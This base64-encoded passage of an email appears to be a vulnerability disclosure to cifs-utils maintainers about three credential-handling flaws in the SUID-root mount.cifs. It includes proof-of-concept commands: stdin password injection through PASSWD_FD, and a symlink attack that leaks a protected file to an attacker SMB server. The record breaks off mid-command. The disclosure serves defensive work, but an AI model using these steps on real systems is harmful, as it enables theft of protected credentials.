cCBjb25maWcgZGlycykgYXJlIG5vdCBzdGlja3kgYW5kIGFyZSBub3QgcHJvdGVjdGVkIGJ5IHRo aXMgbWl0aWdhdGlvbi48YnI+PGJyPuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgDxicj5QUk9PRiBPRiBDT05DRVBUIC0tIEZJTkRJTkcgMyAo UEFTU1dEX0ZEIHN0ZGluIGluamVjdGlvbik8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPiMgQnVnOiBhdG9pKCZxdW90O2ludmFs aWQmcXVvdDspID0gMCwgZmQgMCA9IHN0ZGluIC0tIG5vIHByb21wdCwgc2lsZW50bHkgY29uc3Vt ZWQ8YnI+ZWNobyAmcXVvdDtJTkpFQ1RFRF9QQVNTV09SRCZxdW90OyB8IHN1ZG8gc3RyYWNlIC1m IC1lIHRyYWNlPXJlYWQgXDxicj7CoCDCoCBlbnYgUEFTU1dEX0ZEPWludmFsaWQgXDxicj7CoCDC oCAvdXNyL3NiaW4vbW91bnQuY2lmcyAvLzxhIGhyZWY9Imh0dHA6Ly8xMjcuMC4wLjEvc2hhcmUi PjEyNy4wLjAuMS9zaGFyZTwvYT4gL21udCBcPGJyPsKgIMKgIC1vIHVzZXI9dGVzdHVzZXIgMiZn dDsmYW1wOzEgfCBncmVwICZxdW90O3JlYWQoMCZxdW90Ozxicj48YnI+IyBPdXRwdXQ6PGJyPiMg W3BpZCA3Nzk0MzhdIHJlYWQoMCwgJnF1b3Q7SU5KRUNURURfUEFTU1dPUkRcbiZxdW90OywgNTEz KSA9IDE4PGJyPjxicj7ilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIA8YnI+U1VHR0VTVEVEIEZJWDxicj7ilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+MS4gbW91bnQuY2lmcy5jOjYx MiBhbmQgOjcwMSAtLSByZXBsYWNlIGZvcGVuKCkvb3BlbigpIHdpdGg6PGJyPsKgIMKgb3Blbihw YXRoLCBPX1JET05MWSB8IE9fTk9GT0xMT1cgfCBPX0NMT0VYRUMpPGJyPsKgIMKgUmV0dXJuIEVM T09QIGlmIHRoZSBwYXRoIGlzIGEgc3ltbGluay48YnI+PGJyPjIuIEFkZCBhdCBzdGFydHVwLCBi ZWZvcmUgcGFyc2Vfb3B0aW9ucygpOjxicj7CoCDCoHVuc2V0ZW52KCZxdW90O1BBU1NXRF9GSUxF JnF1b3Q7KTsgdW5zZXRlbnYoJnF1b3Q7UEFTU1dEX0ZEJnF1b3Q7KTs8YnI+wqAgwqBUaGVzZSBz aG91bGQgbm90IGJlIGluaGVyaXRlZCBmcm9tIHRoZSBjYWxsZXImIzM5O3MgZW52aXJvbm1lbnQu PGJyPjxicj4zLiBtb3VudC5jaWZzLmM6MTQ2MSAtLSByZXBsYWNlIGF0b2kodG1wKSB3aXRoIHN0 cnRvbCgpIGFuZCB2YWxpZGF0ZTxicj7CoCDCoHRoYXQgdGhlIHJlc3VsdGluZyBmZCBpcyBpbiB0 aGUgcmFuZ2UgWzMsIE9QRU5fTUFYXS48YnI+PGJyPuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgDxicj48YnI+SSBhbSBoYXBweSB0byBleHRl bmQgb3Igc2hvcnRlbiB0aGUgZW1iYXJnbyBiYXNlZCBvbiB5b3VyIGFzc2Vzc21lbnQuPGJyPjxi cj5BIGZ1bGwgdGVjaG5pY2FsIHJlcG9ydCBpcyBhdHRhY2hlZCBhcyBtb3VudF9jaWZzX2NyZWRl bnRpYWxzX25vZm9sbG93Lm1kLjxicj48L2Rpdj48ZGl2PjxkaXYgZGlyPSJsdHIiIGNsYXNzPSJn bWFpbF9zaWduYXR1cmUiIGRhdGEtc21hcnRtYWlsPSJnbWFpbF9zaWduYXR1cmUiPjxkaXYgZGly PSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYg ZGlyPSJsdHIiPjxicj48L2Rpdj48ZGl2IGRpcj0ibHRyIj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+ QmVzdCByZWdhcmRzLMKgwqA8L2ZvbnQ+PC9kaXY+PGRpdiBkaXI9Imx0ciI+PGI+PGZvbnQgY29s b3I9IiMwMDAwZmYiPjxpPlRodXJlaW4gT2/CoMKgPC9pPjwvZm9udD48L2I+PC9kaXY+PGRpdiBk aXI9Imx0ciI+PGZvbnQgY29sb3I9IiMwMDAwZmYiPjxpPkN5YmVyc2VjdXJpdHkgQW5hbHlzdMKg wqA8L2k+PC9mb250PjwvZGl2PjxkaXYgZGlyPSJsdHIiPjxmb250IGNvbG9yPSIjMDAwMGZmIj48 aT5lQ1RIUHYyIHwgZUNJUiB8IE9TV1AgfCBNQ1JUQTwvaT48L2ZvbnQ+PC9kaXY+PC9kaXY+PGRp diBkaXI9Imx0ciI+8J+UlyA8YSBocmVmPSJodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vdGh1 cmVpbm9vLyIgdGFyZ2V0PSJfYmxhbmsiPkxpbmtlZEluPC9hPjwvZGl2PjxkaXY+PGJyPjwvZGl2 PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pg0K --000000000000d1c3010657a68073-- --000000000000d1c3020657a68075 Content-Type: text/markdown; charset="UTF-8"; name="mount_cifs_credentials_nofollow.md" Content-Disposition: attachment; filename="mount_cifs_credentials_nofollow.md" Content-Transfer-Encoding: base64 Content-ID: <f_ms4ayp4b0> X-Attachment-Id: f_ms4ayp4b0 IyBTZWN1cml0eSBBZHZpc29yeTogbW91bnQuY2lmcyDigJQgVGhyZWUgQ3JlZGVudGlhbC1IYW5k bGluZyBEZWZlY3RzIGluIFNVSUQtcm9vdCBCaW5hcnkKCi0gKipQYWNrYWdlKio6IGNpZnMtdXRp bHMg4oCUIGh0dHBzOi8vZ2l0LnNhbWJhLm9yZy8/cD1jaWZzLXV0aWxzLmdpdAotICoqQWZmZWN0 ZWQgdmVyc2lvbioqOiDiiaQgNy43IChIRUFEIGFzIG9mIDIwMjYtMDctMjQ7IFVidW50dSBwYWNr YWdlIDcuNC0xdWJ1bnR1MC4yNS4xMC4yIGNvbmZpcm1lZCB2dWxuZXJhYmxlKQoKLS0tCgojIyBT dW1tYXJ5CgpgbW91bnQuY2lmc2AgaXMgaW5zdGFsbGVkIFNVSUQtcm9vdCBvbiBhbGwgbWFqb3Ig TGludXggZGlzdHJpYnV0aW9ucy4gVGhyZWUgaW5kZXBlbmRlbnQgZGVmZWN0cyBleGlzdCBpbiBp dHMgY3JlZGVudGlhbC1maWxlIGhhbmRsaW5nIGNvZGUuIEFsbCB0aHJlZSB3ZXJlIGNvbmZpcm1l ZCBvbiBVYnVudHUgMjUuMTAgd2l0aCBjaWZzLXV0aWxzIDcuNC0xdWJ1bnR1MC4yNS4xMC4yLgoK fCAjIHwgRmluZGluZyB8IEZpbGUgLyBMaW5lIHwgQ1dFIHwgU3RhdHVzIHwKfC0tLXwtLS0tLS0t LS18LS0tLS0tLS0tLS0tLXwtLS0tLXwtLS0tLS0tLXwKfCAxIHwgYG9wZW5fY3JlZF9maWxlKClg IG9wZW5zIGNyZWRlbnRpYWwgZmlsZSB3aXRob3V0IGBPX05PRk9MTE9XYCBiZXR3ZWVuIGBhY2Nl c3MoKWAgYW5kIGBmb3BlbigpYCDigJQgVE9DVE9VIHJhY2Ugd2luZG93IHwgYG1vdW50LmNpZnMu Yzo2MDXigJM2MTJgIHwgQ1dFLTM2NywgQ1dFLTYxIHwgU3RydWN0dXJhbCDigJQgcmFjZSB3aW5k b3cgY29uZmlybWVkOyByYWNlIG5vdCB3b24gaW4gdGVzdGluZyB8CnwgMiB8IGBnZXRfcGFzc3dv cmRfZnJvbV9maWxlKClgIG9wZW5zIGBQQVNTV0RfRklMRWAgZW52LXZhciBwYXRoIHdpdGhvdXQg YE9fTk9GT0xMT1dgIOKAlCBzeW1saW5rIGZvbGxvdyB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNI YCBlZmZlY3RpdmUgfCBgbW91bnQuY2lmcy5jOjY5MuKAkzcwMWAgfCBDV0UtNjEgfCAqKkZ1bGx5 IGRlbW9uc3RyYXRlZCoqIOKAlCBmaWxlIGNvbnRlbnQgdHJhbnNtaXR0ZWQgdG8gYXR0YWNrZXIg U01CIHNlcnZlciB8CnwgMyB8IGBQQVNTV0RfRkRgIGVudi12YXIgcHJvY2Vzc2VkIHZpYSBgYXRv aSgpYCB3aXRoIG5vIGJvdW5kcyBjaGVjayDigJQgbm9uLW51bWVyaWMgdmFsdWUgeWllbGRzIGZk IDAgKHN0ZGluKSB8IGBtb3VudC5jaWZzLmM6MTQ2MWAgfCBDV0UtMjAgfCAqKkZ1bGx5IGRlbW9u c3RyYXRlZCoqIOKAlCBzdHJhY2UgY29uZmlybXMgYHJlYWQoMCwgLi4uKWAgfAoKLS0tCgojIyBT ZXZlcml0eQoKKipPdmVyYWxsOiA1LjUgTWVkaXVtKioKYENWU1M6My4xL0FWOkwvQUM6TC9QUjpM L1VJOk4vUzpVL0M6SC9JOk4vQTpOYAoKLSBgQVY6TGAg4oCUIHJlcXVpcmVzIGEgbG9jYWwgYWNj b3VudC4KLSBgQUM6TGAg4oCUIHBsYWNpbmcgYSBzeW1saW5rIHJlcXVpcmVzIG5vIHNwZWNpYWwg dGltaW5nIG9yIGNvbmRpdGlvbnMgb25jZSBtb3VudC5jaWZzIHJ1bnMgYXMgcm9vdCB3aXRoIGFu IGF0dGFja2VyLWluZmx1ZW5jZWQgcGF0aC4KLSBgUFI6TGAg4oCUIGxvdy1wcml2aWxlZ2VkIGxv Y2FsIHVzZXI7IG5vIHNwZWNpYWwgZ3JvdXAgbWVtYmVyc2hpcCByZXF1aXJlZC4KLSBgQzpIYCDi gJQgY3JlZGVudGlhbCB2YWx1ZXMgKGB1c2VybmFtZT1gL2BwYXNzd29yZD1gKSBmcm9tIGEgZmls ZSB1bnJlYWRhYmxlIGJ5IHRoZSBhdHRhY2tlciBhcmUgdHJhbnNtaXR0ZWQgaW4gZnVsbCB0byBh biBhdHRhY2tlci1jb250cm9sbGVkIFNNQiBzZXJ2ZXIuCi0gYEk6TmAsIGBBOk5gIOKAlCBubyB3 cml0ZSBvciBhdmFpbGFiaWxpdHkgaW1wYWN0LgoKKipGaW5kaW5nIDMgKFBBU1NXRF9GRCBzdGRp bik6KiogU2NvcmVkIHNlcGFyYXRlbHkg4oCUIGBDVlNTOjMuMS9BVjpML0FDOkwvUFI6TC9VSTpO L1M6VS9DOk4vSTpML0E6TmAgPSAqKjMuMyBMb3cqKi4gVGhpcyBpcyBhbiBhdXRoZW50aWNhdGlv biBpbmplY3Rpb24gZGVmZWN0IHJhdGhlciB0aGFuIGFuIGluZm9ybWF0aW9uIGRpc2Nsb3N1cmU6 IHRoZSBhdHRhY2tlciBjb250cm9scyB0aGUgcGFzc3dvcmQgdmFsdWUgbW91bnQuY2lmcyBzdWJt aXRzLCBub3QgY29udGVudCByZWFkIGZyb20gYSBwcm90ZWN0ZWQgZmlsZS4KCioqQ1dFKio6IENX RS02MSAoVU5JWCBTeW1ib2xpYyBMaW5rIEZvbGxvd2luZyksIENXRS0zNjcgKFRPQ1RPVSBSYWNl IENvbmRpdGlvbiksIENXRS0yMCAoSW1wcm9wZXIgSW5wdXQgVmFsaWRhdGlvbikKCi0tLQoKIyMg QWZmZWN0ZWQgQ29tcG9uZW50CgotICoqQmluYXJ5Kio6IGAvdXNyL3NiaW4vbW91bnQuY2lmc2Ag KGluc3RhbGxlZCBTVUlELXJvb3QgYnkgY2lmcy11dGlscykKLSAqKkZpbGUqKjogYG1vdW50LmNp ZnMuY2AKLSAqKkZ1bmN0aW9ucyoqOgogIC0gYG9wZW5fY3JlZF9maWxlKClgIOKAlCBsaW5lcyA1 OTnigJM2MTQKICAtIGBnZXRfcGFzc3dvcmRfZnJvbV9maWxlKClgIOKAlCBsaW5lcyA2ODjigJM3 MTQKICAtIGBnZXRfcHdfZnJvbV9lbnYoKWAg4oCUIGxpbmUgMTQ2MSAoYFBBU1NXRF9GRGAgaGFu ZGxpbmcpCi0gKipQcmVjb25kaXRpb25zKio6CiAgLSBGaW5kaW5nIDEgKFRPQ1RPVSk6IHdyaXRl IGFjY2VzcyB0byB0aGUgZGlyZWN0b3J5IGNvbnRhaW5pbmcgdGhlIGNyZWRlbnRpYWwgZmlsZTsg bW91bnQuY2lmcyBpbnZva2VkIHJlcGVhdGVkbHkgKHJhY2UpLgogIC0gRmluZGluZyAyIChQQVNT V0RfRklMRSBzeW1saW5rKTogbW91bnQuY2lmcyBpbnZva2VkIGFzIHJvb3Qgd2l0aCBhbiBhdHRh Y2tlci1pbmZsdWVuY2VkIGBQQVNTV0RfRklMRWAgcGF0aCwgaW4gYSBub24tc3RpY2t5IGRpcmVj dG9yeSAoYnlwYXNzZXMgYGZzLnByb3RlY3RlZF9zeW1saW5rc2ApLgogIC0gRmluZGluZyAzIChQ QVNTV0RfRkQgc3RkaW4pOiBhYmlsaXR5IHRvIHNldCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgZm9y IGEgcHJvY2VzcyB0aGF0IGludm9rZXMgbW91bnQuY2lmcy4KCi0tLQoKIyMgVnVsbmVyYWJpbGl0 eSBEZXRhaWxzCgojIyMgQmFja2dyb3VuZDogY2FwYWJpbGl0eSBtb2RlbAoKYG1vdW50LmNpZnNg IGlzIFNVSUQtcm9vdC4gSXQgZm9ya3MgYSBjaGlsZCBwcm9jZXNzOyB0aGUgY2hpbGQgZHJvcHMg dG8gdGhlIGNhbGxlcidzIHJlYWwgVUlEL0dJRCBidXQgcmV0YWlucyBgQ0FQX0RBQ19SRUFEX1NF QVJDSGAgaW4gaXRzIHBlcm1pdHRlZCBzZXQuIEltbWVkaWF0ZWx5IGJlZm9yZSBvcGVuaW5nIGNy ZWRlbnRpYWwgZmlsZXMsIHRoZSBjaGlsZCByZS1yYWlzZXMgYENBUF9EQUNfUkVBRF9TRUFSQ0hg IHRvIGVmZmVjdGl2ZS4gVGhpcyBjYXBhYmlsaXR5IGJ5cGFzc2VzIGFsbCBEQUMgcmVhZCBwZXJt aXNzaW9uIGFuZCBkaXJlY3Rvcnkgc2VhcmNoIHBlcm1pc3Npb24gY2hlY2tzIOKAlCB0aGUgcHJv Y2VzcyBjYW4gb3BlbiBhbnkgZmlsZSBvbiB0aGUgZmlsZXN5c3RlbSByZWdhcmRsZXNzIG9mIG93 bmVyc2hpcCBvciBtb2RlIGJpdHMuCgpUaGUgY29ycmVjdCBiZWhhdmlvdXIgZm9yIGFueSBTVUlE IGJpbmFyeSB0aGF0IG9wZW5zIHVzZXItc3VwcGxpZWQgcGF0aHMgdW5kZXIgZWxldmF0ZWQgY2Fw YWJpbGl0aWVzIGlzIHRvIHBhc3MgYE9fTk9GT0xMT1dgIHRvIGV2ZXJ5IGBvcGVuKClgIGNhbGwu IGBPX05PRk9MTE9XYCBpbnN0cnVjdHMgdGhlIGtlcm5lbCB0byByZXR1cm4gYEVMT09QYCByYXRo ZXIgdGhhbiBmb2xsb3cgYSBzeW1saW5rIGF0IHRoZSBmaW5hbCBwYXRoIGNvbXBvbmVudC4gTmVp dGhlciBjcmVkZW50aWFsLWZpbGUgb3BlbiBjYWxsIGluIG1vdW50LmNpZnMgZG9lcyB0aGlzLgoK LS0tCgojIyMgRmluZGluZyAxIOKAlCBUT0NUT1UgcmFjZSBpbiBgb3Blbl9jcmVkX2ZpbGUoKWAg KGBtb3VudC5jaWZzLmM6NjA14oCTNjEyYCkKCmBgYGMKc3RhdGljIGludCBvcGVuX2NyZWRfZmls ZShjaGFyICpmaWxlX25hbWUsIC4uLikKewogICAgaSA9IHRvZ2dsZV9kYWNfY2FwYWJpbGl0eSgw LCAxKTsgICAgLy8gcmFpc2VzIENBUF9EQUNfUkVBRF9TRUFSQ0ggdG8gZWZmZWN0aXZlCiAgICBp ID0gYWNjZXNzKGZpbGVfbmFtZSwgUl9PSyk7ICAgICAgICAvLyBsaW5lIDYwNTogcmVhbC11aWQg cGVybWlzc2lvbiBjaGVjawogICAgaWYgKGkgJiYgaSAhPSBFQUNDRVMpIHsKICAgICAgICB0b2dn bGVfZGFjX2NhcGFiaWxpdHkoMCwgMCk7CiAgICAgICAgcmV0dXJuIGk7CiAgICB9CiAgICBmcyA9 IGZvcGVuKGZpbGVfbmFtZSwgInIiKTsgICAgICAgICAvLyBsaW5lIDYxMjogb3BlbnMgZmlsZSDi gJQgTk8gT19OT0ZPTExPVwogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOyAgICAgICAg Ly8gZHJvcHMgQ0FQX0RBQ19SRUFEX1NFQVJDSAp9CmBgYAoKVGhlcmUgYXJlIHR3byBzZXF1ZW50 aWFsIG9wZXJhdGlvbnMgb24gdGhlIHNhbWUgcGF0aCB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNI YCBoZWxkIGZvciB0aGUgZHVyYXRpb246CgotICoqTGluZSA2MDUqKjogYGFjY2VzcyhmaWxlX25h bWUsIFJfT0spYCDigJQgcGVybWlzc2lvbiBjaGVjayB1c2luZyB0aGUgY2FsbGVyJ3MgKipyZWFs KiogVUlEIChub3QgdGhlIGVmZmVjdGl2ZSBjYXBhYmlsaXR5KS4gRm9yIGEgZmlsZSB0aGUgYXR0 YWNrZXIgb3ducyBhbmQgY2FuIHJlYWQsIHRoaXMgcmV0dXJucyAwLgotICoqTGluZSA2MTIqKjog YGZvcGVuKGZpbGVfbmFtZSwgInIiKWAg4oCUIG9wZW5zIHRoZSBmaWxlLiBObyBgT19OT0ZPTExP V2AuIEJ5IHRoaXMgcG9pbnQgYW4gYXR0YWNrZXIgaGFzIGEgd2luZG93IHRvIHJlcGxhY2UgdGhl IGZpbGUgYXQgYGZpbGVfbmFtZWAgd2l0aCBhIHN5bWxpbmsgdG8gYW55IHBhdGggb24gdGhlIHN5 c3RlbS4KCklmIHRoZSByYWNlIGlzIHdvbiwgYGZvcGVuKClgIHJ1bnMgd2l0aCBgQ0FQX0RBQ19S RUFEX1NFQVJDSGAgZWZmZWN0aXZlIGFuZCBvcGVucyB3aGF0ZXZlciB0aGUgc3ltbGluayBwb2lu dHMgdG8g4oCUIGluY2x1ZGluZyByb290LW9ubHkgZmlsZXMg4oCUIHJlZ2FyZGxlc3Mgb2YgREFD IHBlcm1pc3Npb25zLiBUaGUgZmlsZSBpcyB0aGVuIHBhcnNlZCBmb3IgYHVzZXJuYW1lPWAvYHBh c3N3b3JkPWAgY29udGVudCBhbmQgdGhvc2UgdmFsdWVzIGFyZSB0cmFuc21pdHRlZCB0byB0aGUg U01CIHNlcnZlciBzcGVjaWZpZWQgb24gdGhlIGNvbW1hbmQgbGluZS4KCioqU3RhdHVzKio6IFJh Y2Ugd2luZG93IHN0cnVjdHVyYWxseSBjb25maXJtZWQgYnkgY29kZSByZXZpZXcuIFRoZSByYWNl IHdhcyBub3Qgd29uIGluIDUwLDAwMCBhdXRvbWF0ZWQgaXRlcmF0aW9ucyB3aXRoIGF0b21pYyBg cmVuYW1lKClgIHJhY2VyIGFuZCBDUFUgcGlubmluZyBvbiBhIHZpcnR1YWwgbWFjaGluZS4gVGhl IHJhY2Ugd2luZG93ICh0aGUgZ2FwIGJldHdlZW4gbGluZXMgNjA1IGFuZCA2MTIpIGlzIG9uIHRo ZSBvcmRlciBvZiBtaWNyb3NlY29uZHM7IHdpbm5pbmcgaXQgcmVsaWFibHkgcmVxdWlyZXMgYHVz ZXJmYXVsdGZkYCBvciBiYXJlLW1ldGFsIHNjaGVkdWxpbmcuIFRoZSBzdHJ1Y3R1cmFsIGRlZmVj dCBpcyBub3QgaW4gcXVlc3Rpb24uCgotLS0KCiMjIyBGaW5kaW5nIDIg4oCUIFN5bWxpbmsgZm9s bG93IGluIGBnZXRfcGFzc3dvcmRfZnJvbV9maWxlKClgIHZpYSBgUEFTU1dEX0ZJTEVgIChgbW91 bnQuY2lmcy5jOjY5MuKAkzcwMWApCgpgYGBjCnN0YXRpYyBpbnQgZ2V0X3Bhc3N3b3JkX2Zyb21f ZmlsZShpbnQgZmlsZV9kZXNjcmlwdCwgY2hhciAqZmlsZW5hbWUsIC4uLikKewogICAgaWYgKGZp bGVuYW1lICE9IE5VTEwpIHsKICAgICAgICByYyA9IHRvZ2dsZV9kYWNfY2FwYWJpbGl0eSgwLCAx KTsgICAgICAgICAgIC8vIHJhaXNlcyBDQVBfREFDX1JFQURfU0VBUkNICiAgICAgICAgcmMgPSBh Y2Nlc3MoZmlsZW5hbWUsIFJfT0spOyAgICAgICAgICAgICAgICAvLyBsaW5lIDY5MjogcmVhbC11 aWQgY2hlY2sKICAgICAgICBmaWxlX2Rlc2NyaXB0ID0gb3BlbihmaWxlbmFtZSwgT19SRE9OTFkp OyAgIC8vIGxpbmUgNzAxOiBOTyBPX05PRk9MTE9XCiAgICAgICAgcmMgPSB0b2dnbGVfZGFjX2Nh cGFiaWxpdHkoMCwgMCk7CiAgICB9Cn0KYGBgCgpDYWxsZWQgZnJvbSBgZ2V0X3B3X2Zyb21fZW52 KClgOgoKYGBgYwovLyBtb3VudC5jaWZzLmM6MTQ2MwpjaGFyICpmaWxlbmFtZSA9IGdldGVudigi UEFTU1dEX0ZJTEUiKTsKaWYgKGZpbGVuYW1lKQogICAgZ2V0X3Bhc3N3b3JkX2Zyb21fZmlsZSgw LCBmaWxlbmFtZSwgcGFyc2VkX2luZm8pOwpgYGAKCmBQQVNTV0RfRklMRWAgaXMgdGFrZW4gZGly ZWN0bHkgZnJvbSB0aGUgZW52aXJvbm1lbnQgd2l0aG91dCB2YWxpZGF0aW9uLiBUaGUgYmluYXJ5 IGRvZXMgbm90IGNhbGwgYGNsZWFyZW52KClgIG9yIHVuc2V0IGluaGVyaXRlZCBlbnZpcm9ubWVu dCB2YXJpYWJsZXMgYXQgc3RhcnR1cC4gVGhlIGBvcGVuKClgIGF0IGxpbmUgNzAxIGRvZXMgbm90 IHBhc3MgYE9fTk9GT0xMT1dgLgoKVGhpcyBkaWZmZXJzIGZyb20gRmluZGluZyAxIGluIGFuIGlt cG9ydGFudCB3YXk6ICoqdGhlcmUgaXMgbm8gcmFjZSoqLiBJZiBtb3VudC5jaWZzIGlzIHJ1bm5p bmcgYXMgcm9vdCAodmlhIGNyb24sIHN5c3RlbWQgbW91bnQsIG9yIGFuIGFkbWluIHNjcmlwdCks IGFuZCB0aGUgYFBBU1NXRF9GSUxFYCBwYXRoIChvciBgY3JlZGVudGlhbHM9YCBwYXRoKSBpcyBh IHN5bWxpbmssIG1vdW50LmNpZnMgd2lsbCBmb2xsb3cgaXQgdW5jb25kaXRpb25hbGx5LiBUaGUg YGFjY2VzcygpYCBnYXRlIGF0IGxpbmUgNjkyIHVzZXMgcmVhbCBVSUQ7IHdoZW4gdGhlIHByb2Nl c3MgaXMgYWxyZWFkeSByb290LCByZWFsIFVJRCBpcyAwIGFuZCBgYWNjZXNzKClgIHBhc3NlcyBm b3IgYW55IHBhdGguCgoKLS0tCgojIyMgRmluZGluZyAzIOKAlCBgUEFTU1dEX0ZEYCBgYXRvaSgp YCB3aXRob3V0IGJvdW5kcyBjaGVjayAoYG1vdW50LmNpZnMuYzoxNDYxYCkKCmBgYGMKdG1wID0g Z2V0ZW52KCJQQVNTV0RfRkQiKTsKaWYgKHRtcCkgewogICAgcGFyc2VkX2luZm8tPmdvdF9wYXNz d29yZCA9IDE7CiAgICBmZCA9IGF0b2kodG1wKTsgICAgICAgICAgICAgICAgICAgICAgICAgIC8v IHJldHVybnMgMCBmb3Igbm9uLW51bWVyaWMgaW5wdXQKICAgIHJlYWQoZmQsIHBhc3NidWYsIHNp emVvZihwYXNzYnVmKSAtIDEpOyAgLy8gcmVhZHMgZnJvbSBmZCAwID0gc3RkaW4gaWYgYXRvaSBy ZXR1cm5lZCAwCn0KYGBgCgpgUEFTU1dEX0ZEYCBpcyBpbnRlbmRlZCBmb3Igc2NyaXB0cyB0byBw YXNzIGEgcGFzc3dvcmQgdmlhIGEgZmlsZSBkZXNjcmlwdG9yIG9wZW5lZCBiZWZvcmUgZXhlYzoK CmBgYGJhc2gKUEFTU1dEX0ZEPTUgbW91bnQuY2lmcyAvL3NlcnZlci9zaGFyZSAvbW50IDU8L3Bh dGgvdG8vcGFzc3dvcmQKYGBgCgpgYXRvaSgpYCByZXR1cm5zIDAgZm9yIGFueSBub24tbnVtZXJp YyBzdHJpbmcgKGAiaW52YWxpZCJgLCBgIiJgLCBgImFiYyJgKS4gZmQgMCBpcyBzdGRpbi4gVGhl cmUgaXMgbm8gY2hlY2sgdGhhdCB0aGUgdmFsdWUgZmFsbHMgaW4gdGhlIHJhbmdlIGBbMywgT1BF Tl9NQVhdYC4gV2hlbiBgUEFTU1dEX0ZEPWludmFsaWRgIChvciBhbnkgbm9uLW51bWVyaWMgdmFs dWUpLCBtb3VudC5jaWZzIHNpbGVudGx5IHJlYWRzIHRoZSBwYXNzd29yZCBmcm9tIHN0ZGluIHdp dGhvdXQgZGlzcGxheWluZyBhbnkgcHJvbXB0LCB3YXJuaW5nLCBvciBlcnJvci4KCk5vcm1hbCBi ZWhhdmlvdXIgb3BlbnMgYC9kZXYvdHR5YCBmb3IgYW4gaW50ZXJhY3RpdmUgcHJvbXB0LiBXaXRo IGBQQVNTV0RfRkQ9aW52YWxpZGAsIGAvZGV2L3R0eWAgaXMgbmV2ZXIgb3BlbmVkIOKAlCB0aGUg cGFzc3dvcmQgaXMgY29uc3VtZWQgZnJvbSBzdGRpbiBiZWZvcmUgdGhlIHByb21wdCB3b3VsZCBh cHBlYXIuCgoKLS0tCgojIyBQcm9vZiBvZiBDb25jZXB0CgojIyMgRmluZGluZyAyIOKAlCBFbmQt dG8tZW5kIGNyZWRlbnRpYWwgdGhlZnQgdmlhIHN5bWxpbmsKCioqVGVzdCBlbnZpcm9ubWVudCoq OiBVYnVudHUgMjUuMTAsIGNpZnMtdXRpbHMgNy40LTF1YnVudHUwLjI1LjEwLjIsIGtlcm5lbCA2 LjE3LjAtNDEsIHVzZXIgYHRyb2AgKHVpZD0xMDAwKS4KCioqU2V0dXAqKjoKCmBgYGJhc2gKIyBU ZXJtaW5hbCAxIOKAlCBhdHRhY2tlcidzIFNNQiBzZXJ2ZXIKbWtkaXIgLXAgL3RtcC9zbWJfc2hh cmUKc3VkbyBweXRob24zIC91c3IvbG9jYWwvYmluL3NtYnNlcnZlci5weSAtcG9ydCA0NDQ1IHNo YXJlIC90bXAvc21iX3NoYXJlCgojIFRlcm1pbmFsIDIg4oCUIGF0dGFja2VyLWNvbnRyb2xsZWQg c2Vzc2lvbgojIENyZWF0ZSBhIGZpbGUgdGhlIHVzZXIgY2Fubm90IHJlYWQKcHJpbnRmICd1c2Vy bmFtZT1TRUNSRVRfVkFMVUVfTEVBS0VEXG5wYXNzd29yZD1odW50ZXIyXG4nID4gL2hvbWUvdHJv L3NlY3JldC50eHQKY2htb2QgMDAwIC9ob21lL3Ryby9zZWNyZXQudHh0CgpjYXQgL2hvbWUvdHJv L3NlY3JldC50eHQKIyDihpIgUGVybWlzc2lvbiBkZW5pZWQKCiMgQ3JlYXRlIHN5bWxpbmsgdG8g dGhlIHByb3RlY3RlZCBmaWxlCmxuIC1zIC9ob21lL3Ryby9zZWNyZXQudHh0IC9ob21lL3Ryby9j cmVkc19saW5rCmNhdCAvaG9tZS90cm8vY3JlZHNfbGluawojIOKGkiBQZXJtaXNzaW9uIGRlbmll ZAoKIyBUcmlnZ2VyIHRoZSBleHBsb2l0IOKAlCBtb3VudC5jaWZzIGZvbGxvd3Mgc3ltbGluayB3 aXRoIENBUF9EQUNfUkVBRF9TRUFSQ0gKIyBOb3RlOiBzdWRvIGhlcmUgc2ltdWxhdGVzIG1vdW50 